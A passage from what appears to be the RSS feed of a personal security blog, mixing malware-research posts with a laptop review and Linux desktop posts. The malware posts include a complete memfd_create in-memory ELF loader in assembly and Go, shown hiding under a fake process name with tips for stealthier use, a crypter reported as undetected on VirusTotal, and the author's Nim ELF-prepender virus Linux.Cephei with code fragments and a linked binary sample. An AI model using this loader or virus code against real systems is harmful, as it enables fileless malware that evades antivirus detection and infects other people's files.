 Deamon responding to process signals (such as SIGHUP, SIGKILL, etc) to restart its process if killed, for example. I may write a post about it in the future as I have already wrote some code that takes advantage of this. Play around with the encryption method, the keys (like using multiple keys, removing the key from the stub somehow) and so on. Something like autostarting with every user login could also be implemented.  Those are all basic ideas. memfd_create has a lot of potential and can be combined with multiple techniques other than a simple crypter/dropper.
Update: I have packed my latest ELF prepender Linux.Cephei with Ezuri and uploaded to VirusTotal. Results are below:
Unpacked Linux.Cephei: https://www.virustotal.com/gui/file/35308b8b770d2d4f78299262f595a0769e55152cb432d0efc42292db01609a18/detection
Packed Linux.Cephei: https://www.virustotal.com/gui/file/ddbb714157f2ef91c1ec350cdf1d1f545290967f61491404c81b4e6e52f5c41f/detection
So as of today (May 2nd 2019), the Ezuri stub is undetected.
TMZ
]]></content:encoded>
    </item>
    <item>
      <title>Running ELF executables from memory</title>
      <link>https://www.guitmz.com/running-elf-from-memory/</link>
      <pubDate>Wed, 27 Mar 2019 12:01:50 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/running-elf-from-memory/</guid>
      <description>Something that always fascinated me was running code directly from memory. From Process Hollowing (aka RunPE) to PTRACE injection. I had some success playing around with it in C in the past, without using any of the previous mentioned methods, but unfortunately the code is lost somewhere in the forums of VXHeavens (sadly no longer online) but the code was buggy and worked only with Linux 32bit systems (I wish I knew about shm_open back then, which is sort of an alternative for the syscall we are using in this post, mainly targeting older systems where memfd_create is not available).</description>
      <category domain="https://www.guitmz.com/categories/technology">Technology</category>
      <content:encoded><![CDATA[ 
Something that always fascinated me was running code directly from memory. From Process Hollowing (aka RunPE) to PTRACE injection. I had some success playing around with it in C in the past, without using any of the previous mentioned methods, but unfortunately the code is lost somewhere in the forums of VXHeavens (sadly no longer online) but the code was buggy and worked only with Linux 32bit systems (I wish I knew about shm_open back then, which is sort of an alternative for the syscall we are using in this post, mainly targeting older systems where memfd_create is not available).
Overview and code Recently, I have been trying to code in assembly a bit, I find it very interesting and I believe every developer should understand at least the basics of it. I chose FASM as my assembler because I think it is very simple, powerful and I like its concepts (like same source, same output). More information about its design can be found here. Anyway, I have written a small tool, memrun, that allows you to run ELF files from memory using the memfd_create syscall, which is available in Linux where kernel version is &amp;gt;= 3.17.
What happens with memfd_create is that it acts like malloc syscall but will return a file descriptor that references an anonymous file (which does not exists in the disk) and we can pass it to execve and execute it from memory. There are a couple in-depth articles about it around the internet already so I will not get too deep into it. A nice one by magisterquis can be found at his page
The assembly code might look too big but there are some things we need to take care in this case that we don&amp;rsquo;t need to when writing in a HLL like Go (as you can see in its example below). Also it&amp;rsquo;s nice if you want to use the code for an exploit, you can just adjust the assembly instructions to your needs. Both examples are for x86_64 only:
format ELF64 executable 3 include &amp;#34;struct.inc&amp;#34; include &amp;#34;utils.inc&amp;#34; segment readable executable entry start start: ;----------------------------------------------------------------------------- ; parsing command line arguments ;----------------------------------------------------------------------------- pop rcx ; arg count cmp rcx, 3 ; needs to be at least two for the self program arg0 and target arg1 jne usage ; exit 1 if not add rsp, 8 ; skips arg0 pop rsi ; gets arg1 mov rdi, sourcePath push rsi ; save rsi push rdi call strToVar pop rsi ; restore rsi pop rdi mov rdi, targetProcessName pop rsi ; gets arg2 push rdi call strToVar ;----------------------------------------------------------------------------- ; opening source file for reading ;----------------------------------------------------------------------------- mov rdi, sourcePath ; loads sourcePath to rdi xor rsi, rsi ; cleans rsi so open syscall doesnt try to use it as argument mov rdx, O_RDONLY ; O_RDONLY mov rax, SYS_OPEN ; open syscall ; rax contains source fd (3) push rax ; saving rax with source fd ;----------------------------------------------------------------------------- ; getting source file information to fstat struct ;----------------------------------------------------------------------------- mov rdi, rax ; load rax (source fd = 3) to rdi lea rsi, [fstat] ; load fstat struct to rsi mov rax, SYS_FSTAT ; sys_fstat syscall ; fstat struct conntains file information mov r12, qword[rsi &#43; 48] ; r12 contains file size in bytes (fstat.st_size) ;----------------------------------------------------------------------------- ; creating memory map for source file ;----------------------------------------------------------------------------- pop rax ; restore rax containing source fd mov r8, rax ; load r8 with source fd from rax mov rax, SYS_MMAP ; mmap number mov rdi, 0 ; operating system will choose mapping destination mov rsi, r12 ; load rsi with page size from fstat.st_size in r12 mov rdx, 0x1 ; new memory region will be marked read only mov r10, 0x2 ; pages will not be shared mov r9, 0 ; offset inside test.txt syscall ; now rax will point to mapped location push rax ; saving rax with mmap address ;----------------------------------------------------------------------------- ; close source file ;----------------------------------------------------------------------------- mov rdi, r8 ; load rdi with source fd from r8 mov rax, SYS_CLOSE ; close source fd syscall ;----------------------------------------------------------------------------- ; creating memory fd with empty name (&amp;#34;&amp;#34;) ;----------------------------------------------------------------------------- lea rdi, [bogusName] ; empty string mov rsi, MFD_CLOEXEC ; memfd mode mov rax, SYS_MEMFD_CREATE syscall ; memfd_create mov rbx, rax ; memfd fd from rax to rbx ;----------------------------------------------------------------------------- ; writing memory map (source file) content to memory fd ;----------------------------------------------------------------------------- pop rax ; restoring rax with mmap address mov rdx, r12 ; rdx contains fstat.st_size from r12 mov rsi, rax ; load rsi with mmap address mov rdi, rbx ; load memfd fd from rbx into rdi mov rax, SYS_WRITE ; write buf to memfd fd syscall ;----------------------------------------------------------------------------- ; executing memory fd with targetProcessName ;----------------------------------------------------------------------------- xor rdx, rdx lea rsi, [argv] lea rdi, [fdPath] mov rax, SYS_EXECVE ; execve the memfd fd in memory syscall ;----------------------------------------------------------------------------- ; exit normally if everything works as expected ;----------------------------------------------------------------------------- jmp normal_exit ;----------------------------------------------------------------------------- ; initialized data ;----------------------------------------------------------------------------- segment readable writable fstat STAT usageMsg db &amp;#34;Usage: memrun &amp;lt;path_to_elf_file&amp;gt; &amp;lt;process_name&amp;gt;&amp;#34;, 0xA, 0 sourcePath db 256 dup 0 targetProcessName db 256 dup 0 bogusName db &amp;#34;&amp;#34;, 0 fdPath db &amp;#34;/proc/self/fd/3&amp;#34;, 0 argv dd targetProcessName package main import ( &amp;#34;fmt&amp;#34; &amp;#34;io/ioutil&amp;#34; &amp;#34;os&amp;#34; &amp;#34;syscall&amp;#34; &amp;#34;unsafe&amp;#34; ) // the constant values below are valid for x86_64 const ( mfdCloexec = 0x0001 memfdCreate = 319 ) func runFromMemory(displayName string, filePath string) { fdName := &amp;#34;&amp;#34; // *string cannot be initialized 	fd, _, _ := syscall.Syscall(memfdCreate, uintptr(unsafe.Pointer(&amp;amp;fdName)), uintptr(mfdCloexec), 0) buffer, _ := ioutil.ReadFile(filePath) _, _ = syscall.Write(int(fd), buffer) fdPath := fmt.Sprintf(&amp;#34;/proc/self/fd/%d&amp;#34;, fd) _ = syscall.Exec(fdPath, []string{displayName}, nil) } func main() { lenArgs := len(os.Args) if lenArgs &amp;lt; 3 || lenArgs &amp;gt; 3 { fmt.Println(&amp;#34;Usage: memrun process_name elf_binary&amp;#34;) os.Exit(1) } runFromMemory(os.Args[1], os.Args[2]) } The full code for both versions can be found in this repo: https://github.com/guitmz/memrun
See it in action Allow me to show it in action. Let&amp;rsquo;s start by creating a simple target file in C, named target.c. The file will try to open itself for reading and if it can&amp;rsquo;t, it will print a message forever every 5 seconds. We will execute it from memory:
#include &amp;lt;stdio.h&amp;gt;#include &amp;lt;unistd.h&amp;gt; int main(int argc, char **argv) { printf(&amp;#34;My process ID : %d\n&amp;#34;, getpid()); FILE *myself = fopen(argv[0], &amp;#34;r&amp;#34;); if (myself == NULL) { while(1) { printf(&amp;#34;I can&amp;#39;t find myself, I must be running from memory!\n&amp;#34;); sleep(5); } } else { printf(&amp;#34;I am just a regular boring file being executed from the disk...\n&amp;#34;); } return 0; } Now we build target.c:  $ gcc target.c -o target   We should also build our FASM or Go tool, I will use the assembly one here:  $ fasm memrun.asm flat assembler version 1.73.04 (16384 kilobytes memory, x64) 4 passes, 1221 bytes.   Running the file normally gives us this:  $ ./target My process ID : 4944 I am just a regular boring file being executed from the disk...   But using memrun to run it will be totally different:  $ ./memrun target MASTER_HACKER_PROCESS_NAME_1337 My process ID : 4945 I can&#39;t find myself, I must be running from memory! I can&#39;t find myself, I must be running from memory!   Furthermore, if you look for its pid with ps utility, this is what you get:  $ ps -f 4945 UID PID PPID C STIME TTY STAT TIME CMD guitmz 4945 4842 0 15:31 pts/0 S&#43; 0:00 MASTER_HACKER_PROCESS_NAME_1337   Finally, let&amp;rsquo;s check the process directory:  $ ls -l /proc/4945/{cwd,exe} lrwxrwxrwx 1 guitmz guitmz 0 Mar 27 15:38 /proc/4945/cwd - /home/guitmz/memrun/assembly lrwxrwxrwx 1 guitmz guitmz 0 Mar 27 15:38 /proc/4945/exe - /memfd: (deleted)   Note the /memfd: (deleted) part, no actual file in disk for this process :)
For those who know, this can be an interesting technique to run stealthy binaries in Linux, you can go even further by giving it a proper name (like a real Linux process) and detach it from the tty and change its cwd with some simple approches. Tip: fork is your friend :)
TMZ
]]></content:encoded>
    </item>
    <item>
      <title>Lenovo Thinkpad E485 Review</title>
      <link>https://www.guitmz.com/lenovo-thinkpad-e485-review/</link>
      <pubDate>Mon, 13 Aug 2018 13:11:50 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/lenovo-thinkpad-e485-review/</guid>
      <description>Last year I built a PC with a AMD Ryzen 5 1600 and I was truly impressed. Then now its time for me to get a new laptop and it was only natural to look for something that had AMD in it. I am very excited for my first Thinkpad, I even starting writing the same day as I ordered the unit (which took its damn time to be delived.</description>
      <category domain="https://www.guitmz.com/categories/technology">Technology</category>
      <content:encoded><![CDATA[ 
Last year I built a PC with a AMD Ryzen 5 1600 and I was truly impressed. Then now its time for me to get a new laptop and it was only natural to look for something that had AMD in it. I am very excited for my first Thinkpad, I even starting writing the same day as I ordered the unit (which took its damn time to be delived. More than 10 work days when a estimate of 7 was given by Digital River, Lenovo&amp;rsquo;s partner seller in Europe).
I will be using this machine for music production (not professionally, just a hobby), occasional light gaming and work related stuff (I&amp;rsquo;m a Systems Engineer). Windows will be a secondary OS (for the music stuff mainly, since my DAW of choice - which is Reason - requires it) and Linux (Arch / OpenSUSE) will be my daily driver.
Also, this the first review I ever did, please don&amp;rsquo;t expect much as I lack the experience :)
Overview  AMD Ryzen 7 2700U Processor (6 MB Cache, 3.80 GHz) Windows 10 Home 64 (keys are cheap on eBay and Linux is my focus so I could save some money here). 35,6 cm (14,0&amp;rdquo;) FHD IPS (1.920 x 1.080) 8GB DDR4 2400MHz SODIMM (I plan to add another 8GB stick soon) AMD Radeon RX Vega 10 GPU 256 GB Solid-State-Disk, M.2 2280, PCIe 4.0 (16 GT/s), OPAL 2.0 45Wh battery 65W charger (3 Pins) – EU (USB Type C) Qualcomm Atheros QCNFA435AC with Bluetooth 4.1 1 year warranty Price: ~ €760 (~ €120 being VAT)  I needed a laptop where I could have at least two hard drives and the E485 makes that possible by having a M.2 slot and a regular 2.5&amp;rdquo; slot. Build quality looks solid, metal lid and sturdy plastic. The keyboard is very (!!!) good, super confortable, well positioned and the trackpad is ok, nice size too. There seem to be an issue when you type fast and this was corrected by BIOS 1.32
The port selection is fair but I disagree with the microSD slot (would prefer a full size SD like most models have).
Opening the laptop to install a 2.5&amp;rdquo; SSD was easy but some plastic clips seem to have broke down during the process (I was really careful). After closing, it doesn&amp;rsquo;t seem that any significant clips were broken, it closed perfectly so I don&amp;rsquo;t think I should worry.
The speakers are alright, audio is ok. But that&amp;rsquo;s it, not amazing by any means.
Battery and Screen The battery capacity is not amazing, but at this price point I will not complain. Same goes for the screen, but again, the price range kinda makes this ok (and I don&amp;rsquo;t really care about this, its more than enough for any kind of usage that doesn&amp;rsquo;t require color accuracy, for a person like me it is a nice screen). It lasts around 4h (Linux and Windows) but with the expected fix, it should last at least a couple hours more.
The screen suffers from some bleeding on the corners but only really visible during the boot screen and for a couple of seconds. It is fine otherwise.
The laptop charges fast (50% or so in around 30 minutes), feels like my OnePlus 6 with the Dash Charger.
Linux Update: I am now running kernel 4.20.7 (in Gentoo, but the distro does not matter) and Linux is now able to boot without the kernel flag described below, so you can skip that part. I will keep it in the post for historical reasons.  Linux runs well in this machine. The only necessary thing to do is add ivrs_ioapic[32]=00:14.0 to the boot parameters (thanks to Evil Azrael). You will need a recent kernel and this is the kind of issue Lenovo will probably fix with another BIOS update.
  UEFI boot works perfectly too (I am using systemd-boot, previously called gummiboot). Arch installation was done using the Zen Arch Installer because I&amp;rsquo;m lazy.
As of now I have yet to figure out the Fn keys functions in Linux, this is not yet working for me (haven&amp;rsquo;t put effort to fix this yet, I&amp;rsquo;m sure it will be trivial). My current setup uses BSPWM so it is barebones. A full DE like KDE or Gnome will probably not have any issues like this. Sound works out of the box, wireless too.
Performance Cpu-Z screenshot for the CPU (it is indeed 15W):
   
In Windows, Cinnebench score is consistently ~ 640 / 32 FPS with one RAM stick only (8GB DDR4). I expect a little better graphic performance with another stick running in dual channel.
   
3DMark results can be found here, I haven&amp;rsquo;t noticed any thermal issues:
 Lenovo Thinkpad E485 3DMark 
For Linux, you can see the results of a few of the Phoronix Test Suite tests here:
 In both Windows and Linux, I did not noticed any thermal issues. Fan noise is definately present when under load but nothing annoying.
I got &amp;ldquo;unlucky&amp;rdquo; and my laptop came with the generic NVMe drive, which is not as fast as a Samsung EVO for example but it is still pretty good. Wireless is also decent and works OOB with Linux.
Conclusion I am satisfied with the laptop, considering its price. I mean, I will be satisfied once Lenovo fixes the battery problem. Other than that, I was not expecting a good build quality for this price, but the E485 gives you that. The device is really nice and I can reccommend it!
]]></content:encoded>
    </item>
    <item>
      <title>Return to Crunchbang With OpenSUSE and Openbox</title>
      <link>https://www.guitmz.com/return-to-crunchbang-with-openbox-opensuse/</link>
      <pubDate>Wed, 17 Jan 2018 09:42:12 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/return-to-crunchbang-with-openbox-opensuse/</guid>
      <description>I&amp;rsquo;ve been running OpenSUSE (Tumbleweed) for some years now and KDE was my Desktop Environment of choice since years ago but before that, I was a die hard user of the Crunchbang (#!) Linux distro, which featured an awesome gray Openbox desktop. The simplicity Crunchbang offered is something that I missed during the years and after I found out that the community had revived the project in the for of Crunchbangplusplus and also Bunsenlabs, I just had to try it again but this time OpenSUSE Tumbleweed was my choice, instead of the good old Debian.</description>
      <category domain="https://www.guitmz.com/categories/technology">Technology</category>
      <content:encoded><![CDATA[I&amp;rsquo;ve been running OpenSUSE (Tumbleweed) for some years now and KDE was my Desktop Environment of choice since years ago but before that, I was a die hard user of the Crunchbang (#!) Linux distro, which featured an awesome gray Openbox desktop. The simplicity Crunchbang offered is something that I missed during the years and after I found out that the community had revived the project in the for of Crunchbangplusplus and also Bunsenlabs, I just had to try it again but this time OpenSUSE Tumbleweed was my choice, instead of the good old Debian.
Note that this is not a full openbox install guide, as I assume you know how to install it. The default OpenSUSE installation I used here provides all the necessary low level packages like networking and xorg for example so it is simple to build from this. The theme and configurations I got should probably work fine regardless of the distro being used.
The process itself is simple and may require a bit of deeper understanding of Linux but nothing absurd. We start by having a clean install of OpenSUSE Tumbleweed but choosing Minimal X Window option in the Desktop Environment section. This should give you a usable system with IceWM installed. It also includes networking applets and other nice goodies. From here, you need to install the Openbox packages (like openbox, compton, ob-menu, lxappearance, feh or nitrogen, a sound indicator, a power manager indicator like Mate or Xfce, etc). You can also get a weather indicator if you like, maybe even the one I wrote here.
For Openbox configuration, we will rely on the stuff from Crunchbangplusplus GitHub simply because an amazing job was done porting and updating the old themes and configurations from the original Crunchbang. Keep in mind that everything we get from CBPP&#39;s repository needs to come from their branch named 9. That&amp;rsquo; s because this branch contains fixes for Debian 9, which uses a newer version of GTK and required tweaks in the theme files among other things.
You can pick and choose what you want (from Terminator configs to Compton, conky and tint2 and more!) from the config repository. The .config folder in this repository give you a nice idea of which software me and CBPP default installation have.
In order to achieve at least the visual aesthetics, you need the Openbox theme and configs, GTK theme, tint2 and dmenu configs. Themes are located at this repo and Icon themes are here. There are some themes available for Slim and LXDM too in the same GitHub account.
The final touch is the shutdown script, that you can find here. Install it to /usr/bin and make it executable and you should be good to go. Some tweaks and Python packages might be required but those problems are pretty self-explanatory and easy to solve if you enconter any.
This is one example showing how it should look at the end (full size image):
Cheers!
]]></content:encoded>
    </item>
    <item>
      <title>Yet Another Weather Indicator</title>
      <link>https://www.guitmz.com/yet-another-weather-indicator/</link>
      <pubDate>Tue, 16 Jan 2018 10:08:08 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/yet-another-weather-indicator/</guid>
      <description>Recently I started using Openbox as my WM again (after a long time with KDE, the nostalgia hit me). After I had everything working as I wanted to, I noticed the lack of a weather indicator in my systray.
Usually, the desktop environments I have used (Gnome, KDE, Mate) have some sort of applet for this included and I really never bothered (when I was using Openbox before, I had some hacky script that would display the weather in my tint2, but I can&amp;rsquo;t find it anymore).</description>
      <category domain="https://www.guitmz.com/categories/technology">Technology</category>
      <content:encoded><![CDATA[Recently I started using Openbox as my WM again (after a long time with KDE, the nostalgia hit me). After I had everything working as I wanted to, I noticed the lack of a weather indicator in my systray.
Usually, the desktop environments I have used (Gnome, KDE, Mate) have some sort of applet for this included and I really never bothered (when I was using Openbox before, I had some hacky script that would display the weather in my tint2, but I can&amp;rsquo;t find it anymore). So I came across go-gtk and felt compeled to write my own tiny indicator.
The go-gtk package is really nice, even tough it is said to cover 47% of all what GTK has to offer, it is still amazing. The plan was to find a weather provider with a free API and as a bonus, I wanted a provider which could also give me weather icons for each kind of scenario.
I started by forking go-wunderground which is a Go package to interact with the Weather Underground API and modifying it a little bit to include icon support, something that the original author didn&amp;rsquo;t included. You can take a look at my fork here.
It worked well and all but honestly, I didn&amp;rsquo;t liked the icons on my dark tint2 bar for some reason. I went back to search for another provider and came across Weatherbit which allows 75 free API requests per hour, more than enough for my needs. Looking at the provided icons, I decided to give it a try. There was no available Go package for Weatherbit API so I quickly wrote one after testing a lot locally with curl and reading their documentation (not very feature rich, very simple and lacking some features that their API provided, which I might improve in the future).
All I had to do now was to write the actual indicator. I fired up Visual Studio Code (amazing Golang support, really) and started writting what became my own simplistic (very) weather indicator. As of now, it accepts your country, city and API key as parameters and updates the weather every 1 hour. I plan to add further customization and more features but the essential goal was reached here, a simple icon that gives me some information about the weather (when you hover your mouse over it).
You can download it via go get:
$ go get -u &amp;quot;github.com/guitmz/go-weather-indicator&amp;quot;  And the usage is as simple as:
$ go-weather-indicator --city Berlin --country Germany --key API_KEY  It looks like this in my tint2 bar:
For now I am happy with it but I really wanted to make this cross platform using the systray and ui Go packages. Technically, the application runs fine on Windows and macOS if GTK is installed but I tried and while it works, visually it doesn&amp;rsquo;t look very polished.
Here&amp;rsquo;s what my first try at this looks on macOS Sierra:
Not the best looking I know but it&amp;rsquo;s just a test code for now, I will update the repository once I have something nice working.
That&amp;rsquo;s it, any feedback is appreciated :)
]]></content:encoded>
    </item>
    <item>
      <title>More fun with ELF files and GoLang - Code Caves</title>
      <link>https://www.guitmz.com/more-fun-with-elf-files-and-golang-code-caves/</link>
      <pubDate>Fri, 08 Sep 2017 15:00:33 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/more-fun-with-elf-files-and-golang-code-caves/</guid>
      <description>A code cave is a piece of code that is written to a process&#39;s memory by another program. The code can be executed by creating a remote thread within the target process. The Code cave of a code is often a reference to a section of the code’s script functions that have capacity for the injection of custom instructions. For example, if a script’s memory allows for 5 bytes and only 3 bytes are used, then the remaining 2 bytes can be used to add external code to the script.</description>
      <content:encoded><![CDATA[ A code cave is a piece of code that is written to a process&#39;s memory by another program. The code can be executed by creating a remote thread within the target process. The Code cave of a code is often a reference to a section of the code’s script functions that have capacity for the injection of custom instructions. For example, if a script’s memory allows for 5 bytes and only 3 bytes are used, then the remaining 2 bytes can be used to add external code to the script. This is what is referred to as a Code cave.  Yup. That&amp;rsquo;s about it. Fascinating yet simple. I remember when I first read about this years ago and I was amazed (and still am!).
Anyway, I was looking for something to play with and remembered cave_miner Python project and the urge to do it with GoLang took over and here we are. This won&amp;rsquo;t be a huge post but rather a simplistic explaination on how it works and how it can be used. You can find the full project with some instructions on my GitHub here (available as a Docker image too).
After you download it, the usage display is pretty ordinary:
λ ./gocave Usage: gocave elf_file cave_size  So here&amp;rsquo;s an example, using a ELF binary downloaded from http://ugetdm.com:
λ ./gocave uget-gtk 65 [&#43;] CAVE DETECTED! [!] Section Name: .bss [!] Section Offset: 0x588e8 [!] Section Size: 0x1b0 (432 bytes) [!] Section Flags: SHF_WRITE&#43;SHF_ALLOC [!] Virtual Address: 0x658a2b [!] Cave Begin: 0x58a13 [!] Cave End: 0x58a58 [!] Cave Size: 0x45 (69 bytes)  As you can see we were able to find a code cave of 65 bytes in section .bss which has the flag SHF_WRITE (therefore it is writable).
Please note that as of now, this code only looks for 0x00 bytes, I plan to let the user choose the bytes he wants to search later.
For now, this ends here but if you check the TODO section in the GitHub repository page, you&amp;rsquo;ll see I am working on a way to inject a shellcode to this code cave and patching the ELF file entrypoint to make this shellcode executable in runtime (I just lack the time to put more effort on this at the moment, that&amp;rsquo;s why I am posting little pieces as they become ready).
See you soon.
]]></content:encoded>
    </item>
    <item>
      <title>Linux.Cephei: a Nim virus</title>
      <link>https://www.guitmz.com/linux-cephei-a-nim-virus/</link>
      <pubDate>Thu, 31 Aug 2017 15:30:50 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/linux-cephei-a-nim-virus/</guid>
      <description>Nim is a systems and applications programming language. It has nice features such as producing dependency-free binaries, running on a huge list of operating systems and architectures and compiling to C, C&#43;&#43; or JavaScript. I&amp;rsquo;ve been messing with it for a while and I am very pleased with it. To be honest, Nim and Go have been my choices when I need to start a new project (goodbye Python, at least&amp;nbsp;for now).</description>
      <category domain="https://www.guitmz.com/categories/technology">Technology</category>
      <content:encoded><![CDATA[Nim is a systems and applications programming language. It has nice features such as producing dependency-free binaries, running on a huge list of operating systems and architectures and compiling to C, C&#43;&#43; or JavaScript. I&amp;rsquo;ve been messing with it for a while and I am very pleased with it. To be honest, Nim and Go have been my choices when I need to start a new project (goodbye Python, at least&amp;nbsp;for now).
Despite being very fast, awesome for writing CLI tools, having a decent documentation (much can be improved there, but it&amp;rsquo;s ok) and playing nice with Docker, there are also some good game libraries are available for Nim, such as Frag.
But enough about the language, let&amp;rsquo;s talk about the virus itself. Linux.Cephei is an ELF prepender, which scans on the current directory for files to infect. It&amp;rsquo;s not destructive by any means, samples were already sent to major AntiVirus companies such as ESET, Avira, Avast and it doesn&amp;rsquo;t implement any fancy techniques such as EPO or memory injection (yet. I am working on newer projects in a few languages to play around with those techniques, I will write about it when I have something to show). Anyway, I wrote this infector to have another entry at SPTH&amp;rsquo;s (hxxp://spth.virii.lu/LIP.html) (replace hxxp with http, this website is wrongly classified as malicious for some security tools).
The prepender code is far from being perfect and it should be optimised (like addind error handling for example) when I improve my skills on this language and the repository should be updated accordingly. It uses a simple XOR​ encryption/decryption of the host data, I know its weak but it&amp;rsquo;s just a demonstration. This time, the virus includes a harmless payload that has a 25% change of being triggered and displaying a message when running on a infected host.&amp;nbsp;
Here you can see the XOR​ function:
proc xorEncDec(input: openArray[int8], key: string): seq[int8] = var output = newSeq[int8](input.len) for x in 0..input.len: output[x] = input[x] xor int8(key[x mod key.len]) return output Nim also makes it very easy (and flexible) to work with arrays and binary data. Detecting a ELF file signature is as simple as:
proc isELF(path: string): bool = var fs = newFileStream(path, fmRead) defer: fs.close() let e_ident = fs.peekInt32() fs.setPosition(0x10) let e_type = fs.peekInt8() if e_ident == ELF_MAGIC_NUMBER and e_type == ELF_EXECUTABLE_FLAG: return true Simple. You can get the whole code and further instructions on how to build it on the project repository here.
A little payload message is included too. It&amp;rsquo;s printed to stdout then the infected program takes over and runs normally as it should:
Did you know that VV Cephei, also known as HD 208816, is an eclipsing binary star system located in the constellation Cepheus, approximately 5,000 light years from Earth? It is both a B[e] star and shell star. Awesome! https://en.wikipedia.org/wiki/VV_Cephei&amp;quot; l The more you know... :)  A binary (static) sample is also available here.
$ file linux.cephei ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped  Demo 
Writing code in Nim is easy and fun, the syntax is natural like Python and yet you have the power of C. The language still has much to achieve (we still don&amp;rsquo;t have native modules for PE/ELF/Mach files for example) but I am very impressed so far with it and recommend you to give it a try!
Tschüss!
]]></content:encoded>
    </item>
    <item>
      <title>From Ghost To Hugo (with Netlify)</title>
      <link>https://www.guitmz.com/from-ghost-to-hugo-netlify/</link>
      <pubDate>Fri, 21 Jul 2017 13:54:01 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/from-ghost-to-hugo-netlify/</guid>
      <description>For a while now I have been thinking in migrating this blog to Hugo (from Ghost), mainly because I wanted save 10 bucks a month that were being spent on my DigitalOcean VPS that I was using to run the website (with Docker &#43; Nginx &#43; Let&amp;rsquo;s Encrypt SSL). DigitalOcean is great, but I simply lack the time to manage the installation, updating the OS, updating Ghost itself, renewals of the SSL certificate, etc.</description>
      <content:encoded><![CDATA[For a while now I have been thinking in migrating this blog to Hugo (from Ghost), mainly because I wanted save 10 bucks a month that were being spent on my DigitalOcean VPS that I was using to run the website (with Docker &#43; Nginx &#43; Let&amp;rsquo;s Encrypt SSL). DigitalOcean is great, but I simply lack the time to manage the installation, updating the OS, updating Ghost itself, renewals of the SSL certificate, etc. Those are simple things, but with time, they started to annoy me a bit.
So I finally did it and not only migrated to Hugo, but discovered the amazing services of Netlify. They offers a free account with some nice features like:
 Global CDN;
 Custom domains;
 Free SSL for those domains (using Let&amp;rsquo;s Encrypt);
 DNS management (easy redirects are a plus here);
 Continuous deployment.
  There are more features but those are the main ones if you are going to use it with Hugo (or any other static website generator). The interface is very intuitive, modern and complete and there&amp;rsquo;s also a CLI tool if you want to. In my case, I&amp;rsquo;m hosting my blog files on a BitBucket repository, which Netlify watches and runs a deploy after every commit to master. Setting up the domain was also very easy, just had to change the nameservers on my registrar and choose to use the Let&amp;rsquo;s Encrypt SSL (you can use a custom one too). Netlify also provides a tool to test your website and the results I got after the migration were more than satisfying.
Setting up Hugo was incredibly straightforward. There are tons of themes available and installing them is hassle free, even if you choose to use git submodules (which is kinda necessary if you are using Netlify). I am no frontend developer but I was able to &amp;ldquo;create&amp;rdquo; my own theme in a few minutes, forking the great After-Dark theme and customizing the CSS a bit, following the developer instructions.
Porting my previous posts was (mostly) a matter of copying &amp;amp; pasting to new files, following Hugo standards. Netlify made the website much faster and in sync with new technologies like HTTP/2. I was even more impressed when I tried to use Pygments with it and all I had to do was create a requirements.txt on the root of my repository and add the Python package name inside of it (the build system will download the package for you, like TravisCI for example).
Another service which I can vouch for is Forestry.io, which can give you a free CMS for you static website, with a nice markdown editor and a bunch of other features like post/page creation, website previewing, site configuration, and media management. In fact, I&amp;rsquo;m writing this post directly via their web interface and it looks great on the WYSIWYG editor. Forestry.io also provides some similar features from Netlify, such as continuous deployment but I have opted to use the latter because they manage my DNS, SSL and have a CDN too.
I highly recommend Hugo &#43; Netlify (and Forestry.io) for anyone who wants a simple, free and easy to setup/manage blog. That combination removes the hassle of having to manage a website and you also don&amp;rsquo;t need to be an expert to get started.
]]></content:encoded>
    </item>
    <item>
      <title>About</title>
      <link>https://www.guitmz.com/about/</link>
      <pubDate>Fri, 21 Jul 2017 13:43:55 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/about/</guid>
      <description>  GitHub
  LinkedIn
  Keybase
  thomazi@linux.com or tmz@null.net
  Twitter (or this other profile)
  </description>
      <content:encoded><![CDATA[  GitHub
  LinkedIn
  Keybase
  thomazi@linux.com or tmz@null.net
  Twitter (or this other profile)
  ]]></content:encoded>
    </item>
    <item>
      <title>Having fun with ELF files and GoLang</title>
      <link>https://www.guitmz.com/having-fun-with-elf-files-and-golang/</link>
      <pubDate>Tue, 19 May 2015 15:01:14 UT</pubDate>
      <dc:creator>Guilherme Thomazi</dc:creator>
      <guid>https://www.guitmz.com/having-fun-with-elf-files-and-golang/</guid>
      <description>Now I will show how GoLang interacts with ELF files in a generic example. You could look further into the native module here. I do recommend reading it, I am using some bits of code extracted directly from the module source.
It is basically the same idea as the PE, similar module. You can extend it depending on your needs.
Here you go.
package main import ( &amp;#34;fmt&amp;#34; &amp;#34;io&amp;#34; &amp;#34;os&amp;#34; &amp;#34;debug/elf&amp;#34; ) func check(e error) { if e !</description>
      <content:encoded><![CDATA[Now I will show how GoLang interacts with ELF files in a generic example. You could look further into the native module here. I do recommend reading it, I am using some bits of code extracted directly from the module source.
It is basically the same idea as the PE, similar module. You can extend it depending on your needs.
Here you go.
